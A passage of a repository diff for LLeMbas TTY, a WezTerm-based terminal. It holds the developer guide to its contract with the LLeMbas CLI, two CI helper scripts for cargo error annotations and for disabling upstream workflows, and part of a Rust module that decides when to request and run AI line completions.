(control characters removed, invalid UTF-8 replaced) and are capped before
they are shown, written or sent. Nothing is evaluated, nothing is passed
through a shell: processes are started with an argument list.
- **Decisions are in `core.lua`, calls in `init.lua`.** A change to what the
layer decides comes with a test in `tests/run.lua`.
- **Lua 5.1 and 5.4.** The terminal embeds Lua 5.4; the tests also run under
LuaJIT. Write the subset both have (no `goto`, `//`, bitwise operators,
`<const>`, `utf8`, `table.unpack` without a fallback).
## The contract with the LLeMbas CLI
The engine is the LLeMbas CLI; its specification (`harness/acp.md` in the CLI's repository,
*A terminal as the client*, contract 2) is the authority. What the terminal does of it, and
where each point is in the code (one function or constant each, in `lua/llembas/core.lua`):
| The terminal | Where | The CLI |
|---|---|---|
| asks what the CLI can do: `lembas --version --json`; needs `terminal_contract` ≥ 2 and the part it is about to use (`terminal_surface`, `terminal_models`) | `cli_info`, `cli_has`, `CAP`, `CONTRACT` | prints one JSON object |
| starts the display: `lembas terminal --window <id> --pane <n> [--terminal-context <file>] [--mode manual\|auto] [--new]`, to the right of the pane; the id is this run of the terminal and the tab | `display_args`, `window_id`, `held` | one conversation per id |
| writes a question, in one write: `/terminal-context <file>` + Enter when there is a context, then the question as a bracketed paste + Enter; at once when the display reports a state, else when it first says `idle` | `ask_bytes` | a new turn, or words added to the running one |
| writes a line for the display, each one write: `/approve`, `/always`, `/deny`, `/stop`, `/new`, `/model <ref>`, `/mode <name>` | `DISPLAY_KEYS`, `display_line` | |
| reads user variables `lembas_session`, `_title`, `_model`, `_mode`, `_effort`, `_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `_context`, `_tokens`, `_spend`, and of the display `lembas_surface` (`display`) and `lembas_ask` (`<kind> <keys> <text>`) | `session_from_vars`, `parse_ask` | sets them with OSC 1337 `SetUserVar` |
| lists and sets the terminal's two models: `lembas terminal models --json`, `lembas terminal models set --main\|--autocomplete <model>` | `models_args`, `models_set_args`, `terminal_models` | keeps them |
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE`, `LLEMBAS_TTY_STATUS_DIR` to every pane | Rust (identity), `apply` | types into a pane with `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste`, reads it with `cli get-text` |
| the shell integration writes the pane's status record at every prompt and when a command starts: `$LLEMBAS_TTY_STATUS_DIR/pane-<n>.status` and the user variable `llembas_tty_status`; the layer writes the file from the variable for a shell that could not (`via=uservar`) | `shell/llembas-tty.sh`, `parse_status`, `status_text`, `status_dir`, `status_dir_of` | waits for it after typing a command |
| asks for the rest of a line: the line on standard input (then closed) of `lembas complete --shell <bash\|zsh\|fish> --cwd <dir> --timeout-ms <n> [--model <id>] [--debug]`, with `LLEMBAS_TTY` set; `<n>` is 8000 (the option), and 20000 at least for the first request after a change; `--debug` only once the CLI said it has contract 3; `--cwd` is always given (the engine requires it): the pane's directory, else the home directory | `llembas_line::complete` (`args`, `run`, `decide`), `wezterm-gui/src/llembas/complete.rs` | prints only the rest; nothing means no suggestion; what it writes to standard error is the sentence shown by *autocomplete status* |
| reads and writes what the person chose (contract 3, `terminal_settings`): `lembas terminal settings --cwd <dir> --json` → `{ effective = { <key> = <value> }, from = { <key> = "default" \| "global" \| "<directory>" }, directory = { path } \| null }`; `lembas terminal settings set (--global \| --cwd <dir>) --json <key>=<value>` (`default` removes it); `lembas terminal settings forget --cwd <dir> --json` (the entry's own path, which may be a directory above the pane's: the nearest entry applies). Keys: `ai`, `autocomplete`, `suggestions`, `highlight` (`true`/`false`), `mode`, `main_model`, `autocomplete_model`, `display_width` (a part of the pane, `0.2` to `0.6`, written `0.40`; percent is read too) | `SETTINGS`, `settings_args`, `settings_set_args`, `settings_forget_args`, `settings_entry`, `setting_value`, `setting_text` | keeps them, for the machine and by directory |
| writes the input mark `pane-<n>.input` beside the status record (mode 0600, written whole): `llembas-tty-input=1`, `id=`, `seq=` (the status record's), `typed=0\|1` | `llembas_line::mark`, `state::mark_input`, `decorate::compute`; the layer hands the record over with `wezterm.llembas.status` | places a command only at an empty prompt; the mark counts while its id and seq are the record's and the record is at `prompt` |
| shows a hint while a command placed at the prompt waits for the person (contract 3, `terminal_placed`): `lembas_ask` = `placed <the command>` | `PLACED_KIND`, `parse_ask`, `messages.placed` | places the command without Enter and watches the status record: a new prompt with `ran=1` is "ran", one without is "dismissed" |
The status directory is `<runtime directory>/llembas-tty/status-<process id of the terminal>`:
two terminals number their panes alike, so each keeps its records apart. Directories of
terminals that are gone are removed when a display starts.
The context file is JSON, mode 0600, in the terminal's runtime directory,
named `context-<unix seconds>-<random>.json`:
```json
{ "version": 1, "pane": 3, "cwd": "/home/me/project", "shell": "zsh",
"blocks": [ { "command": "make test", "exit": null, "output": "…tail…" } ],
"screen": "…only when the shell marks no commands…" }
```
It is still version 1 (which the CLI reads): `exit` is `null`, and the blocks carry no
`seq`. Files older than ten minutes are removed the next time one is written.
### Settings: when the engine is asked
`init.lua` (*What the person chose, remembered*). `M.value(key)` is the one place a setting
is read: the store's value for the directory that applies (`directory`, then `global`), else
what was chosen in this run (`session`: a CLI without the store, or a write it refused),
else the options (`config`). A store value whose source is `default` is not used: the
options are the defaults.
- Nothing is read at start-up. `settings_awake`: from the first key or palette entry of
LLeMbas in this run — or from the first prompt, when the empty file `settings-chosen` in
the terminal's data directory says the person chose something through the terminal before
(written at the first successful `set`).
- `follow(pane)` makes the settings of the active pane's directory the ones that apply: at a
new prompt of the active pane (the status record), at `update-status` (the active pane
changed) and at every key of LLeMbas. What the store said of a directory is kept for a
minute (`wezterm.GLOBAL`, at most 64 directories); the whole of it is dropped after one of
our own writes. A directory whose shell reports another host is not asked about.
- Every call of the engine is `wezterm.run_child_process` inside an event handler, which is
asynchronous: the window's thread is never held.
- A change of the applying settings goes to the terminal's own part (`configure`), to the
ask line's prefix and to the next display's arguments (`-m`, `--mode`, the split's size).
A display that runs is not changed by a change of directory.
### A word that stands
`wezterm.llembas.hint(pane id, text | nil, gentle, source pane id)` keeps a word at the
cursor's row of a pane until it is taken away, or until the source pane (the display) is
gone. `sync_hint` in `init.lua` makes it what the display says now (`lembas_ask`): at the
display's user variables and at `update-status`. An approval or a question may be drawn
reversed over the end of the row, as a notice is; a *gentle* hint (a placed command) is
drawn only beside what the row shows or on the empty row below, and not at all otherwise.
### Whether the input at the prompt is empty: the input mark
The engine places a command only at an empty prompt. The shell's hook cannot say how much is
typed (it runs before the line is edited); the terminal can, because the shell integration
marks the input cells. So the terminal writes the *input mark* of the engine's specification.
- The layer hands each status record to the terminal's own part (`wezterm.llembas.status`:
pane, id, seq, state, the status directory) — with AI on, for a local pane; otherwise it
says the pane is no longer followed, and the mark is removed.
- When a pane whose shell is at a prompt is painted (`decorate::compute`), `typed` is: an
input cell that shows something on the cursor's row; else an input zone that nothing
follows and that shows something (a line carried on over rows). The mark is written when
the record or the answer changed (`state::mark_input`), beside the record, whole.
- What it cannot be: ahead of the screen. It is as old as the last painting of the pane — a
frame behind the typing, and not kept up for a pane that is not shown. A mark of an
earlier prompt does not count (its `seq` is not the record's), and while a new prompt is
being drawn the mark errs towards `typed=1`: a command is then not placed, never added to
something typed.
- Marks of terminals that are gone are removed with their status records.
## What the terminal draws on the input line
`wezterm-gui/src/llembas/decorate.rs`, at the moment a pane is painted: the rows near the
cursor are read as cells, `llembas_line::zone` finds the input line among them (the cells the
shell integration marked as input, touching the cursor), and a *plan* says which cells get
another text colour and what text is placed after the cursor. The painter is handed the
pane's own lines, with copies of the few rows the plan changes. Nothing is written to the
pane and the terminal's model of the screen is not touched. The plan is kept while the
pane's content, the cursor and what is on stay the same.
Off for a pane: while a full-screen program has it, without the shell integration, when the
input line is longer than three rows, under an overlay (search, copy mode, the ask line),
and when the options are off. The suggestion is drawn only in the pane that has the
keyboard, over blank cells only. Whether a command or a path exists is looked up only for a
local pane whose shell reports this machine as its host.
The AI's suggestion: `llembas_line::complete::decide` says whether the line is asked about
and, when not, why (`Skip`); `Tracker` allows one request at a time and remembers the answer
for a line; `run` starts the engine (standard library only, so `cargo test -p llembas-line`
runs it against a stand-in script); `Log` keeps the last eight attempts in memory for
`wezterm.llembas.complete_status()`. The pane's directory is decoded from the path of the
address its shell reported (`dir_of_url_path`): the URL library's own conversion to a file
path refuses every address that names a host, and the shell integration always names one.
## Checking a change without building
```
scripts/test-lua.sh --all # the layer, with every Lua found
scripts/hygiene.sh
rustfmt --check --edition 2018 <file> # for a Rust file you touched
rustfmt --check --edition 2021 llembas/line/src/*.rs
llembas/tests/shell-test.sh # the status record, in bash and zsh
shellcheck llembas/shell/*.sh llembas/shell/autocomplete.bash; zsh -n llembas/shell/autocomplete.zsh
```
The terminal itself is built by CI only, and so are the tests of `llembas/line`
(`cargo test -p llembas-line`, the first Rust step of the workflow). CI's log needs a login
to read; `llembas/ci/cargo-annotated.sh` therefore turns every compiler error and failed test
into an annotation on the run, which does not. `llembas/tests/smoke.sh <dir>` runs
against built binaries with no display: names, directories, variables, the
built-in layer and the `cli` commands the LLeMbas CLI uses.
## The GitHub repository that builds it
`.github/workflows/llembas-tty.yml` is the only workflow that is ours.
WezTerm's workflow files are left exactly as they are; on our repository
they are switched off as a repository setting:
```
llembas/ci/disable-upstream-workflows.sh <owner>/<repository>
```
once, and again after an upstream merge that adds a workflow file. What the
repository needs:
- Actions enabled, with GitHub-hosted `ubuntu-22.04` runners (a build takes
the better part of an hour; a private repository pays for the minutes).
- The submodules reachable: `deps/freetype/*` and `deps/harfbuzz/harfbuzz`
are public GitHub repositories, fetched by `actions/checkout`.
- The whole history, tags included: the hygiene check needs the commit named
in `UPSTREAM`, and a release needs the signed tag object for its notes.
- No secret: the workflow uses only the `GITHUB_TOKEN` it is given, with
`contents: write` for the release. Nothing else is fetched: the package
carries neither the LLeMbas CLI nor LLeMbas IDE (`setup/llembas-tty-setup`
installs them on a person's machine, checked against the release key).
- Workflow permissions that allow `contents: write` (Settings → Actions →
General → Workflow permissions), or the release step is refused.
## Merging upstream
```
git fetch upstream && git merge upstream/main # never a rebase
git rev-parse upstream/main > UPSTREAM # the hygiene check's base
git grep -n 'LLeMbas TTY:' # every block of ours, to re-check
scripts/test-lua.sh --all
```
Conflicts can only be in the blocks that grep lists. If upstream changes how
panes get their environment, how configuration files are found, or the Lua
API the layer calls (`pane:get_semantic_zones`, `get_text_from_semantic_zone`,
`get_user_vars`, `split`, `activate`, `tab_id`, `PromptInputLine`, `InputSelector`,
`SpawnCommandInNewTab`, `TogglePaneZoomState`, `update-status`, `format-tab-title`,
`augment-command-palette`, `user-var-changed`), re-read those blocks and
`lua/llembas/init.lua`. If it changes the `Pane` trait, how overlays are assigned
(`assign_overlay_for_pane`), `WithPaneLines`, or `Line`'s cells, re-read
`wezterm-gui/src/llembas/` against `overlay/quickselect.rs`, which it is modelled on.
## Later
- **Neovim and the editor plugin in the package.** `package.sh` would take a
pinned, checksum-verified Neovim release and the LLeMbas IDE plugin into
`usr/lib/llembas-tty/nvim/`, with a launcher that sets its own
`NVIM_APPNAME` so that a person's own Neovim configuration is not touched;
one more `fetch-*.sh` with a pin file, as for the CLI.
- **AppImage.** Upstream's `ci/appimage.sh` assembles an AppDir from fixed
names (`wezterm`, `org.wezfurlong.wezterm`); ours would be a copy with our
names plus the CLI, built from the same tree `package.sh` stages.
- **macOS and Windows.** The identity is in place (bundle id, AppUserModelID,
binary names); the packaging (`ci/deploy.sh`, the installer script, the
`.app` directory's name and icon) still carries WezTerm's names, and the
layer writes its context file with `chmod`, which Windows does not have.
- **fish.** The shell integration is for bash and zsh. What the terminal draws needs only
the marks around the input line (OSC 133) and the status record; a `llembas-tty.fish` that
gives both is the part to write.
- **The shell's aliases and functions** are not known to the terminal, so a command that is
one is not marked as existing (and `colors.unknown` is off by default for that reason). The
shell integration could publish their names.
- **Context file version 2** (`blocks[].seq`, `host`): the terminal would keep the status
record's `seq` with each command it saw.
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env bash
# Run a cargo command so that what goes wrong can be read from the run's annotations, which
# need no login, as well as from its log, which does.
#
# llembas/ci/cargo-annotated.sh build --release --locked -p wezterm-gui
# llembas/ci/cargo-annotated.sh test --release --locked -p config
#
# cargo is asked for its messages as JSON (the option is put right after the subcommand, so
# no `--` with arguments for the tests may be given). Then:
# - every compiler error is printed as the compiler rendered it, and becomes an annotation at
# its file and line. A step shows ten annotations at most, so the first nine stand alone and
# the next thirty share the tenth;
# - what the tests printed is shown as it was, and when they failed the lines that say which
# and why become one annotation;
# - a failure that is neither (a build script, the linker, cargo itself) is annotated with the
# end of what cargo wrote.
# The exit status is cargo's.
set -uo pipefail
[ "$#" -ge 1 ] || { echo "usage: cargo-annotated.sh <subcommand> [arguments]" >&2; exit 2; }
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
sub="$1"
shift
"${CARGO:-cargo}" "$sub" --message-format=json "$@" >"$work/out" 2> >(tee "$work/err" >&2)
rc=$?
# the tee above is another process: let it finish writing
sleep 1
# What is not a JSON message is what a test binary printed.
grep -v '^{' "$work/out" >"$work/plain" || true
cat "$work/plain"
# One line per error: the annotation command, with the message escaped for it.
jq -rR '
def esc: gsub("%"; "%25") | gsub("\r"; "%0D") | gsub("\n"; "%0A");
fromjson?
| select(type == "object" and .reason == "compiler-message")
| .message
| select(.level == "error" or .level == "error: internal compiler error")
| select((.message // "") | startswith("aborting due to") | not)
| ((.spans // []) | map(select(.is_primary)) | .[0]) as $s
| ((.rendered // .message // "") | .[0:1800] | esc) as $text
| if $s then "::error file=\($s.file_name),line=\($s.line_start),title=rustc::\($text)"
else "::error title=rustc::\($text)" end
' "$work/out" >"$work/errors" 2>/dev/null || true
# In the log: every error as rendered, whether cargo failed or not.
jq -rR 'fromjson? | select(type == "object" and .reason == "compiler-message") | .message
| select(.level | startswith("error")) | .rendered // .message' "$work/out" 2>/dev/null || true
if [ "$rc" -ne 0 ] && [ -n "${GITHUB_ACTIONS:-}" ]; then
count="$(wc -l <"$work/errors")"
head -n 9 "$work/errors"
if [ "$count" -gt 9 ]; then
rest="$(sed -n '10,39p' "$work/errors" | sed 's/^::error [^:]*title=rustc:://; s/^::error title=rustc:://' | awk 'BEGIN{ORS="%0A%0A"} {print substr($0, 1, 700)}')"
printf '::error title=rustc (%s errors in all, from the tenth)::%s\n' "$count" "$rest"
fi
failing="$(grep -E -A6 'panicked at|^---- .* ----$|^test .* FAILED$|^failures:$|test result: FAILED' "$work/plain" | head -n 80 | head -c 6000)"
if [ -n "$failing" ]; then
printf '::error title=cargo %s: tests::%s\n' "$sub" "$(printf '%s' "$failing" | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
fi
if [ "$count" -eq 0 ] && [ -z "$failing" ]; then
printf '::error title=cargo %s failed::%s\n' "$sub" "$(tail -n 40 "$work/err" | head -c 6000 | sed 's/%/%25/g' | awk 'BEGIN{ORS="%0A"} {print}')"
fi
fi
exit "$rc"
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env bash
# Switch off every GitHub Actions workflow in a repository except ours (llembas-tty.yml).
#
# llembas/ci/disable-upstream-workflows.sh <owner>/<repository>
#
# WezTerm's own workflow files stay in .github/workflows untouched, so that merging upstream
# never conflicts there. They must not run on our repository (nightly builds, documentation
# pages, issue housekeeping), and GitHub keeps "disabled" as a setting of the repository, not
# of the file. Run this once after the repository is made, and again after a merge from
# upstream that brought a new workflow file. Needs `gh`, signed in with rights on the repository.
set -euo pipefail
repo="${1:?usage: disable-upstream-workflows.sh <owner>/<repository>}"
gh workflow list --repo "$repo" --all --json name,path,state --jq '.[] | [.path, .state] | @tsv' |
while IFS=$'\t' read -r path state; do
case "$path" in
.github/workflows/llembas-tty.yml)
[ "$state" = active ] || gh workflow enable "$path" --repo "$repo"
echo "ours, on: $path"
;;
*)
[ "$state" = active ] && gh workflow disable "$path" --repo "$repo"
echo "upstream, off: $path"
;;
esac
done
+17
View File
@@ -0,0 +1,17 @@
# LLeMbas TTY: what the terminal decides about a line of text, with no terminal in it.
# The ask line's editor, the shell's input line as read from the screen, the terminal's own
# command history and its suggestions, and the colours of a command line. Nothing here knows
# about a window, a pane or a font: wezterm-gui/src/llembas/ is the thin part that does, and
# this crate is the part that is tested (`cargo test -p llembas-line`).
[package]
name = "llembas-line"
version = "0.1.0"
edition = "2021"
license = "MIT"
publish = false
description = "LLeMbas TTY: the logic of the ask line, suggestions and highlighting, without a terminal"
[lib]
path = "src/lib.rs"
[dependencies]
+977
View File
@@ -0,0 +1,977 @@
//! Asking LLeMbas for the rest of a line: whether to ask, what is asked, how
//! the engine is run, and what is remembered of it for the person.
//!
//! Nothing here knows a pane or a window. The window's side gives plain
//! values (what is typed, what is on) and gets back a decision; the engine is
//! run here too, with nothing but the standard library, so that the whole way
//! from "a line was typed" to "this is what the engine was given" is tested
//! without a terminal.
//!
//! What comes back from the engine is a model's text: it is cleaned to one
//! plain line ([`crate::suggest`]) and only ever offered, never run.
use crate::suggest;
use std::collections::{HashMap, VecDeque};
use std::io::{Read, Write};
use std::process::{Command, Stdio};
use std::time::{Duration, Instant, SystemTime};
/// The pause in the typing before LLeMbas is asked, in milliseconds.
pub const PAUSE_MS: u64 = 350;
/// The fewest characters a line must have to be asked about.
pub const MIN_CHARS: usize = 3;
/// The most bytes of a line that is asked about.
pub const MAX_BYTES: usize = 2000;
/// How long the engine is given for an answer when nothing else is said. A
/// model that runs on the person's own machine may have to be loaded for the
/// first answer, and an engine that is stopped before that never loads it.
pub const TIMEOUT_MS_DEFAULT: u64 = 8_000;
/// What the first request gets after autocomplete was switched on or its
/// model changed: the model may not be loaded yet.
pub const TIMEOUT_MS_COLD: u64 = 20_000;
/// What the engine starts a line with that says one of its decisions
/// (`--debug`): lengths and names, never the line.
pub const DEBUG_PREFIX: &str = "lembas complete: debug: ";
pub const TIMEOUT_MS_MIN: u64 = 500;
/// The most the engine itself accepts.
pub const TIMEOUT_MS_MAX: u64 = 30_000;
/// How much longer than its own timeout the engine is waited for before it
/// is stopped: its start, and its saying that it gave up.
pub const GRACE_MS: u64 = 2_000;
/// How many attempts are remembered for the person.
pub const ATTEMPTS: usize = 8;
/// The timeout as it is used: what was asked for, within what the engine
/// takes; `0` is "nothing was said".
pub fn clamp_timeout(ms: u64) -> u64 {
if ms == 0 {
TIMEOUT_MS_DEFAULT
} else {
ms.clamp(TIMEOUT_MS_MIN, TIMEOUT_MS_MAX)
}
}
/// The timeout of one request: the first after a change is given longer.
pub fn timeout_for(ms: u64, cold: bool) -> u64 {
let timeout = clamp_timeout(ms);
if cold {
timeout.max(TIMEOUT_MS_COLD)
} else {
timeout
}
}
/// Why LLeMbas is not asked about a line.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Skip {
/// The AI's autocomplete is off (or AI is).
Off,
/// No LLeMbas CLI was found.
NoEngine,
/// The pane is private.
Private,
/// The pane's shell is not on this machine.
NotThisMachine,
/// The cursor is not at the end of the line.
NotAtEnd,
/// Nothing is typed.
Empty,
/// The line starts with a space: by the shells' own custom such a line is
/// not for remembering, and it is not sent anywhere either.
LeadingSpace,
TooShort,
TooLong,
/// The terminal's own history had a suggestion: that one is shown.
History,
}
impl Skip {
/// In words, for the person.
pub fn sentence(self) -> &'static str {
match self {
Skip::Off => "AI autocomplete is off",
Skip::NoEngine => "the LLeMbas CLI (lembas) was not found",
Skip::Private => "the pane is private",
Skip::NotThisMachine => {
"the pane's shell is not on this machine (another domain, or its directory names another host)"
}
Skip::NotAtEnd => "the cursor was not at the end of the line",
Skip::Empty => "nothing was typed",
Skip::LeadingSpace => "the line starts with a space",
Skip::TooShort => "the line was shorter than 3 characters",
Skip::TooLong => "the line was too long",
Skip::History => "your own command history had a suggestion, and that one is shown",
}
}
}
/// What the window's side knows when a line could be asked about.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Conditions {
/// The AI's autocomplete is on (and AI is).
pub on: bool,
/// A LLeMbas CLI was found.
pub engine: bool,
pub private: bool,
/// The pane's shell is on this machine.
pub this_machine: bool,
/// The cursor is at the end of the input line.
pub at_end: bool,
/// The terminal's own history has a suggestion for the line.
pub history: bool,
}
/// Is LLeMbas asked about this line? `Ok` with the line as it is asked, or
/// why not. The first reason that holds is given, the switch first: with
/// autocomplete off nothing else is looked at.
pub fn decide<'a>(c: &Conditions, typed: &'a str) -> Result<&'a str, Skip> {
if !c.on {
return Err(Skip::Off);
}
if !c.engine {
return Err(Skip::NoEngine);
}
if c.private {
return Err(Skip::Private);
}
if !c.at_end {
return Err(Skip::NotAtEnd);
}
if typed.trim().is_empty() {
return Err(Skip::Empty);
}
if typed.starts_with(' ') {
return Err(Skip::LeadingSpace);
}
if typed.chars().count() < MIN_CHARS {
return Err(Skip::TooShort);
}
if typed.len() > MAX_BYTES || typed.chars().any(|c| c == '\n' || c == '\r') {
return Err(Skip::TooLong);
}
if c.history {
return Err(Skip::History);
}
if !c.this_machine {
return Err(Skip::NotThisMachine);
}
Ok(typed)
}
/// The directory in the path of a `file://` URL, as a pane's shell reported
/// it (OSC 7): percent-decoded, absolute, plain text. `None` when it is not
/// that.
///
/// The shell integration writes `file://<host><directory>`. A URL library's
/// own "to a file path" refuses every URL that names a host, so the path is
/// decoded here and the host is compared by [`same_host`].
pub fn dir_of_url_path(path: &str) -> Option<String> {
let bytes = path.as_bytes();
let mut out: Vec<u8> = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
if bytes[i] == b'%' && i + 2 < bytes.len() {
let hex = |b: u8| (b as char).to_digit(16);
if let (Some(hi), Some(lo)) = (hex(bytes[i + 1]), hex(bytes[i + 2])) {
out.push((hi * 16 + lo) as u8);
i += 3;
continue;
}
}
out.push(bytes[i]);
i += 1;
}
let dir = String::from_utf8(out).ok()?;
if !dir.starts_with('/') || dir.chars().any(|c| c.is_control()) {
return None;
}
Some(dir)
}
/// Is `host`, as a pane's shell named it, the machine called `mine`? An empty
/// host and `localhost` are this machine; otherwise the names are compared
/// without case, whole or by their first label (`box` is `box.example.org`).
pub fn same_host(host: &str, mine: Option<&str>) -> bool {
let host = host.to_lowercase();
if host.is_empty() || host == "localhost" {
return true;
}
match mine {
Some(mine) => {
let mine = mine.to_lowercase();
let short = |s: &str| s.split('.').next().unwrap_or("").to_string();
mine == host || short(&mine) == short(&host)
}
None => false,
}
}
/// What the tracker says of a line.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Poll {
/// The engine answered for exactly this line: the rest, or that there is none.
Answer(Option<String>),
/// It is being asked.
Waiting,
/// It is to be asked now: the number of the request.
Start(u64),
}
/// Which request is wanted now, and the last answer for each pane. One
/// request at a time: a newer line takes the place of an older one, whose
/// request is then stopped.
#[derive(Debug, Default)]
pub struct Tracker {
next_id: u64,
wanted: Option<(usize, String, u64)>,
answers: HashMap<usize, (String, Option<String>)>,
}
impl Tracker {
pub fn poll(&mut self, pane: usize, typed: &str) -> Poll {
if let Some((line, rest)) = self.answers.get(&pane) {
if line == typed {
return Poll::Answer(rest.clone());
}
}
if let Some((p, line, _)) = &self.wanted {
if *p == pane && line == typed {
return Poll::Waiting;
}
}
self.next_id += 1;
self.wanted = Some((pane, typed.to_string(), self.next_id));
Poll::Start(self.next_id)
}
pub fn still_wanted(&self, id: u64) -> bool {
matches!(&self.wanted, Some((_, _, wanted)) if *wanted == id)
}
/// The request ended: what it gave is the answer for that line.
pub fn finish(&mut self, id: u64, pane: usize, typed: String, rest: Option<String>) {
if self.still_wanted(id) {
self.wanted = None;
}
if self.answers.len() > 256 {
self.answers.clear();
}
self.answers.insert(pane, (typed, rest));
}
/// Forget every answer: what is on changed (another model, another
/// directory's settings), so a line may be asked about again.
pub fn forget(&mut self) {
self.answers.clear();
}
}
/// One request to the engine.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Request {
/// The path of the LLeMbas CLI.
pub cli: String,
/// `bash`, `zsh` or `fish`.
pub shell: String,
/// The pane's directory: absolute. The engine refuses a request without one.
pub cwd: String,
/// The line so far.
pub line: String,
/// The autocomplete model chosen in the terminal; empty for the engine's own choice.
pub model: String,
pub timeout_ms: u64,
/// The terminal's version, as the engine's environment says it (`LLEMBAS_TTY`).
pub version: String,
/// Ask the engine to say each of its decisions (`--debug`): only of an
/// engine that knows the option.
pub debug: bool,
}
/// THE command line of a completion, in one place: what follows the CLI's path.
pub fn args(req: &Request) -> Vec<String> {
let mut args = vec![
"complete".to_string(),
"--shell".to_string(),
req.shell.clone(),
"--cwd".to_string(),
req.cwd.clone(),
"--timeout-ms".to_string(),
clamp_timeout(req.timeout_ms).to_string(),
];
if !req.model.is_empty() {
args.push("--model".to_string());
args.push(req.model.clone());
}
if req.debug {
args.push("--debug".to_string());
}
args
}
/// How a request ended.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Outcome {
/// The rest of the line.
Suggestion(String),
/// The engine ran and suggested nothing; with what it said about that, if anything.
Nothing(String),
/// The engine ended with an error: its sentence.
Failed(String),
/// No answer in this many milliseconds: the engine was stopped.
TimedOut(u64),
/// The line changed while the engine was asked: it was stopped.
Cancelled,
/// The engine could not be started: why.
NotStarted(String),
}
impl Outcome {
/// The rest of the line this gave, if any.
pub fn rest(&self) -> Option<String> {
match self {
Outcome::Suggestion(rest) => Some(rest.clone()),
_ => None,
}
}
/// In words, for the person.
pub fn sentence(&self) -> String {
match self {
Outcome::Suggestion(rest) => format!("a suggestion: {}", shorten(rest, 60)),
Outcome::Nothing(said) if said.is_empty() => "nothing was suggested".to_string(),
Outcome::Nothing(said) => format!("nothing was suggested ({})", said),
Outcome::Failed(said) => format!("an error: {}", said),
Outcome::TimedOut(ms) => {
format!("no answer in {} ms: the engine was stopped", ms)
}
Outcome::Cancelled => "stopped: the line changed".to_string(),
Outcome::NotStarted(why) => format!("the engine could not be started: {}", why),
}
}
}
/// One plain line of at most `max` characters, for showing to the person.
pub fn shorten(text: &str, max: usize) -> String {
let line = text.lines().next().unwrap_or("");
let plain: String = line.chars().filter(|c| !c.is_control()).collect();
let plain = plain.trim();
if plain.chars().count() <= max {
return plain.to_string();
}
let mut out: String = plain.chars().take(max.saturating_sub(1)).collect();
out.push('\u{2026}');
out
}
fn read_some(source: Option<impl Read + Send + 'static>) -> std::sync::mpsc::Receiver<String> {
let (tx, rx) = std::sync::mpsc::channel();
if let Some(source) = source {
// On a thread of its own: a pipe that fills would otherwise hold the
// engine, and a pipe that something else keeps open would hold us.
let _ = std::thread::Builder::new()
.name("llembas-complete-read".to_string())
.spawn(move || {
let mut bytes = Vec::new();
let _ = source.take(8192).read_to_end(&mut bytes);
let _ = tx.send(String::from_utf8_lossy(&bytes).into_owned());
});
}
rx
}
/// Run the engine for one request and wait for it. `wanted` is asked again
/// and again: when it says no, the engine is stopped.
///
/// The line goes to the engine's standard input, which is then closed (the
/// engine reads to its end). `LLEMBAS_TTY` is set, as in every pane. What
/// the engine writes to its standard error is kept: it is the sentence that
/// says why there is no suggestion.
pub fn run(req: &Request, wanted: &dyn Fn() -> bool) -> Outcome {
run_said(req, wanted).0
}
/// [`run`], and with it what the engine said of its decisions (`--debug`),
/// a line each, for the person.
pub fn run_said(req: &Request, wanted: &dyn Fn() -> bool) -> (Outcome, Vec<String>) {
let mut decisions = Vec::new();
let outcome = run_inner(req, wanted, &mut decisions);
(outcome, decisions)
}
fn run_inner(req: &Request, wanted: &dyn Fn() -> bool, decisions: &mut Vec<String>) -> Outcome {
let timeout = clamp_timeout(req.timeout_ms);
let mut command = Command::new(&req.cli);
command
.args(args(req))
.env("LLEMBAS_TTY", &req.version)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = match command.spawn() {
Ok(child) => child,
Err(err) => return Outcome::NotStarted(format!("{}: {}", req.cli, err)),
};
if let Some(mut stdin) = child.stdin.take() {
let _ = stdin.write_all(req.line.as_bytes());
// dropped here: the engine sees the end of its input
}
let stdout = read_some(child.stdout.take());
let stderr = read_some(child.stderr.take());
let patience = Duration::from_millis(timeout + GRACE_MS);
let started = Instant::now();
let status = loop {
match child.try_wait() {
Ok(Some(status)) => break status,
Ok(None) => {}
Err(err) => {
let _ = child.kill();
let _ = child.wait();
return Outcome::Failed(format!("the engine could not be waited for: {}", err));
}
}
let still = wanted();
if !still || started.elapsed() > patience {
let _ = child.kill();
let _ = child.wait();
return if still {
Outcome::TimedOut(timeout + GRACE_MS)
} else {
Outcome::Cancelled
};
}
std::thread::sleep(Duration::from_millis(25));
};
let wait = Duration::from_millis(500);
let answer = stdout.recv_timeout(wait).unwrap_or_default();
// The engine's decisions apart from its sentence: the first line that
// is not one of them.
let mut said = String::new();
for line in stderr.recv_timeout(wait).unwrap_or_default().lines() {
match line.strip_prefix(DEBUG_PREFIX) {
Some(decision) => {
if decisions.len() < 16 {
decisions.push(shorten(decision, 160));
}
}
None => {
if said.is_empty() {
said = shorten(line, 200);
}
}
}
}
if !status.success() {
return Outcome::Failed(if said.is_empty() {
match status.code() {
Some(code) => format!("the engine ended with status {}", code),
None => "the engine was stopped by a signal".to_string(),
}
} else {
said
});
}
match suggest::clean_completion(&answer, &req.line) {
Some(rest) => Outcome::Suggestion(rest),
None => Outcome::Nothing(said),
}
}
/// One attempt, as it is remembered for the person. In memory only.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Attempt {
pub at: SystemTime,
/// The line that was asked about, shortened.
pub line: String,
pub took_ms: u64,
pub outcome: Outcome,
}
/// The last few attempts, and the last reason nothing was asked.
#[derive(Debug, Default)]
pub struct Log {
/// What the engine said of its decisions at the newest attempt.
decisions: Vec<String>,
attempts: VecDeque<Attempt>,
skipped: Option<(SystemTime, Skip)>,
}
fn ago(now: SystemTime, at: SystemTime) -> String {
